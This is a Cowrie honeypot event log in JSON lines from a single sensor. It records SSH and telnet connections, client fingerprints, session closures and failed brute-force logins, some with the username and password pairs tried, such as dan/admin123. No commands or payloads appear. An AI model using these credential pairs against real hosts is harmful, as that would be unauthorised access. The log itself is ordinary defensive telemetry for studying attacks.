{"eventid":"cowrie.login.failed","username":"test_user","password":"password","message":"login attempt [test_user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:06.529563Z","src_ip":"103.228.69.212","session":"1178e52e8510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.257137060165405,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:06.566676Z","src_ip":"198.50.122.223","session":"b344e88c78b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:07.766718Z","src_ip":"103.228.69.212","session":"1178e52e8510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":36230,"dst_ip":"159.203.135.109","dst_port":22,"session":"b821eb3b9ce5","protocol":"ssh","message":"New connection: 69.6.221.248:36230 (159.203.135.109:22) [session: b821eb3b9ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:07.961903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:07.969552Z","src_ip":"69.6.221.248","session":"b821eb3b9ce5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:08.083258Z","src_ip":"69.6.221.248","session":"b821eb3b9ce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.358670949935913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:08.191054Z","src_ip":"198.50.122.223","session":"a4095ef287d4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"TEST","message":"login attempt [test/TEST] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:08.578701Z","src_ip":"69.6.221.248","session":"b821eb3b9ce5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":51912,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0086c685cd5","protocol":"ssh","message":"New connection: 2.57.122.238:51912 (10.17.0.5:22) [session: a0086c685cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:08.680413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:08.685250Z","src_ip":"2.57.122.238","session":"a0086c685cd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:08.789140Z","src_ip":"2.57.122.238","session":"a0086c685cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.247060298919678,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:08.915658Z","src_ip":"198.50.122.223","session":"292d1a3658e6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:09.095653Z","src_ip":"2.57.122.238","session":"a0086c685cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:09.694734Z","src_ip":"69.6.221.248","session":"b821eb3b9ce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:10.201590Z","src_ip":"2.57.122.238","session":"a0086c685cd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43506,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa07e38025a4","protocol":"telnet","message":"New connection: 198.50.122.223:43506 (10.17.0.5:23) [session: aa07e38025a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:10.311718Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57630,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a426bb2e9c0","protocol":"telnet","message":"New connection: 198.50.122.223:57630 (10.17.0.5:23) [session: 5a426bb2e9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:12.974852Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59830,"dst_ip":"10.17.0.5","dst_port":23,"session":"efc5c66274aa","protocol":"telnet","message":"New connection: 198.50.122.223:59830 (10.17.0.5:23) [session: efc5c66274aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:13.470260Z"}
{"eventid":"cowrie.session.closed","duration":31.158604860305786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:13.513299Z","src_ip":"198.50.122.223","session":"1ef17b7eb600","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35378,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3b370c1dee3","protocol":"telnet","message":"New connection: 198.50.122.223:35378 (10.17.0.5:23) [session: b3b370c1dee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:14.241800Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36104,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7ae541425db","protocol":"telnet","message":"New connection: 198.50.122.223:36104 (10.17.0.5:23) [session: a7ae541425db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:14.413003Z"}
{"eventid":"cowrie.session.closed","duration":31.105682373046875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:14.598766Z","src_ip":"198.50.122.223","session":"614d89edd3aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41336,"dst_ip":"10.17.0.5","dst_port":23,"session":"59e74a2d0bdf","protocol":"telnet","message":"New connection: 198.50.122.223:41336 (10.17.0.5:23) [session: 59e74a2d0bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:15.395316Z"}
{"eventid":"cowrie.session.closed","duration":30.723536491394043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:15.524206Z","src_ip":"198.50.122.223","session":"20cffab99169","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42208,"dst_ip":"10.17.0.5","dst_port":23,"session":"0741f36932a7","protocol":"telnet","message":"New connection: 198.50.122.223:42208 (10.17.0.5:23) [session: 0741f36932a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:15.532731Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43360,"dst_ip":"10.17.0.5","dst_port":23,"session":"32653c120c2e","protocol":"telnet","message":"New connection: 198.50.122.223:43360 (10.17.0.5:23) [session: 32653c120c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:15.666389Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47518,"dst_ip":"10.17.0.5","dst_port":23,"session":"64166d26d0d7","protocol":"telnet","message":"New connection: 198.50.122.223:47518 (10.17.0.5:23) [session: 64166d26d0d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:16.584582Z"}
{"eventid":"cowrie.session.closed","duration":31.47267174720764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:16.619758Z","src_ip":"198.50.122.223","session":"0f83bb1981db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36471652984619,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:17.604565Z","src_ip":"198.50.122.223","session":"ea2232c78381","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76585078239441,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:18.391365Z","src_ip":"198.50.122.223","session":"a508712f4837","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.208508491516113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:18.978616Z","src_ip":"198.50.122.223","session":"2fdb387d59b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.68324851989746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:18.993926Z","src_ip":"198.50.122.223","session":"ef564f3610ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.895108222961426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:19.167317Z","src_ip":"198.50.122.223","session":"2a923e741389","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.111533164978027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:20.102800Z","src_ip":"198.50.122.223","session":"6c2bacbcb703","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.80448579788208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:20.992403Z","src_ip":"198.50.122.223","session":"18e07a0fa388","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.724535703659058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:21.186075Z","src_ip":"198.50.122.223","session":"a9f92ec4c95f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.866824626922607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:21.533673Z","src_ip":"198.50.122.223","session":"2a3c08674b1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":34548,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d9f8aefc195","protocol":"ssh","message":"New connection: 210.79.142.221:34548 (10.17.0.5:22) [session: 5d9f8aefc195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:22.393552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:22.399005Z","src_ip":"210.79.142.221","session":"5d9f8aefc195","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48394,"dst_ip":"10.17.0.5","dst_port":23,"session":"19cf7c2291fb","protocol":"telnet","message":"New connection: 198.50.122.223:48394 (10.17.0.5:23) [session: 19cf7c2291fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:22.450976Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:22.644347Z","src_ip":"210.79.142.221","session":"5d9f8aefc195","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52420,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfbfe0a471a5","protocol":"telnet","message":"New connection: 198.50.122.223:52420 (10.17.0.5:23) [session: dfbfe0a471a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:23.208820Z"}
{"eventid":"cowrie.session.closed","duration":30.646804571151733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:23.580004Z","src_ip":"198.50.122.223","session":"190f6b953bb8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dan","password":"admin123","message":"login attempt [dan/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:23.653510Z","src_ip":"210.79.142.221","session":"5d9f8aefc195","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.310564279556274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:23.863492Z","src_ip":"198.50.122.223","session":"0404a24a4283","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.796203136444092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:24.306699Z","src_ip":"198.50.122.223","session":"e00225b28584","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:24.900863Z","src_ip":"210.79.142.221","session":"5d9f8aefc195","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.551584243774414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:25.398072Z","src_ip":"198.50.122.223","session":"9bf6ace4385d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34960,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b59dbdbaf10","protocol":"telnet","message":"New connection: 198.50.122.223:34960 (10.17.0.5:23) [session: 5b59dbdbaf10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:25.465482Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":34062,"dst_ip":"159.203.135.109","dst_port":22,"session":"96f1220e6534","protocol":"ssh","message":"New connection: 2.203.183.35:34062 (159.203.135.109:22) [session: 96f1220e6534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:25.678317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:25.683944Z","src_ip":"2.203.183.35","session":"96f1220e6534","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:25.792596Z","src_ip":"2.203.183.35","session":"96f1220e6534","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":55610,"dst_ip":"159.203.135.109","dst_port":22,"session":"661457a32a87","protocol":"ssh","message":"New connection: 148.216.28.11:55610 (159.203.135.109:22) [session: 661457a32a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:25.826206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:25.838130Z","src_ip":"148.216.28.11","session":"661457a32a87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:25.908286Z","src_ip":"148.216.28.11","session":"661457a32a87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"aliali","message":"login attempt [ali/aliali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:26.196871Z","src_ip":"148.216.28.11","session":"661457a32a87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"ts3server","message":"login attempt [ts3server/ts3server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:26.321501Z","src_ip":"2.203.183.35","session":"96f1220e6534","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34730,"dst_ip":"10.17.0.5","dst_port":23,"session":"2daff07e728c","protocol":"telnet","message":"New connection: 198.50.122.223:34730 (10.17.0.5:23) [session: 2daff07e728c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:26.407631Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40282,"dst_ip":"10.17.0.5","dst_port":23,"session":"70170971bb3c","protocol":"telnet","message":"New connection: 198.50.122.223:40282 (10.17.0.5:23) [session: 70170971bb3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:26.498536Z"}
{"eventid":"cowrie.session.closed","duration":31.0784273147583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:26.733362Z","src_ip":"198.50.122.223","session":"932287b6e23b","protocol":"telnet"}
